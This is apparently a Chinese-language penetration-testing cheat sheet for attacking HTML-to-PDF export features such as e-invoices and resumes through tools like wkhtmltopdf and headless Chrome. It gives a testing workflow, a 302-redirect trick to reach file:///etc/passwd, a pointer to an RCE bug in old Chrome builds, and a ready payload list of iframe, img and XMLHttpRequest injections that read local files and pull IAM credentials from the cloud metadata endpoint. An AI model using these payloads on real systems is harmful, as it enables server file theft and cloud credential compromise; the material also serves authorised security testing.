0x01 业务场景
PDF转换、电子保单、电子发票、行程单、简历等导出PDF功能。
0x02 相关组件
- weasyprint
- wkhtmltopdf
- PhantomJS
- Headless
0x03 漏洞点
- PDF文件内容可控
- 解析HTML
0x04 测试流程
- 识别功能点
- 输入 “paylaod” 看是否在PDF文件中展示
- 若存在,测试
<h1>XSS</h1>
是否解析 - 若存在XSS,测试是否能使用
<iframe>
等标签 - 若存在XSS,测试用
<iframe>
,<img>
等包含内网或外部js文件 - 若能用,则尝试使用
file://
,about://
,res://
等协议
0x05 技巧
若无法直接利用file://
进行文件读取,可尝试http到反连平台进行302重定向
302 header:
Location: file:///etc/passwd
若是PhantomJS
,Headless
等无头浏览器,尝试低版本RCE
低版本,no-sandbox
CVE-2020-16040
* Chrome V8引擎缺陷
* Chrome <87.0.4280.88
* 利用JavaScript
* 最终导致RCE
指纹识别
PDF文件头
外带请求的User-Agent
常用PAYLOAD
"><iframe src="http://localhost"></iframe>
<img src=x onerror=document.write('aaaa')>
<img src=x onerror=document.write('aaaa'%2bwindow.location)>
<link rel=attachment href="file:///root/secret.txt">
<iframe src=file:///etc/passwd />
<script>x=new XMLHttpRequest;x.onload=function(){document.write(this.responseText)};x.open("GET","file:///etc/passwd");x.send();</script>
<iframe src="http://169.254.169.254/latest/meta-data/iam/security-credentials/>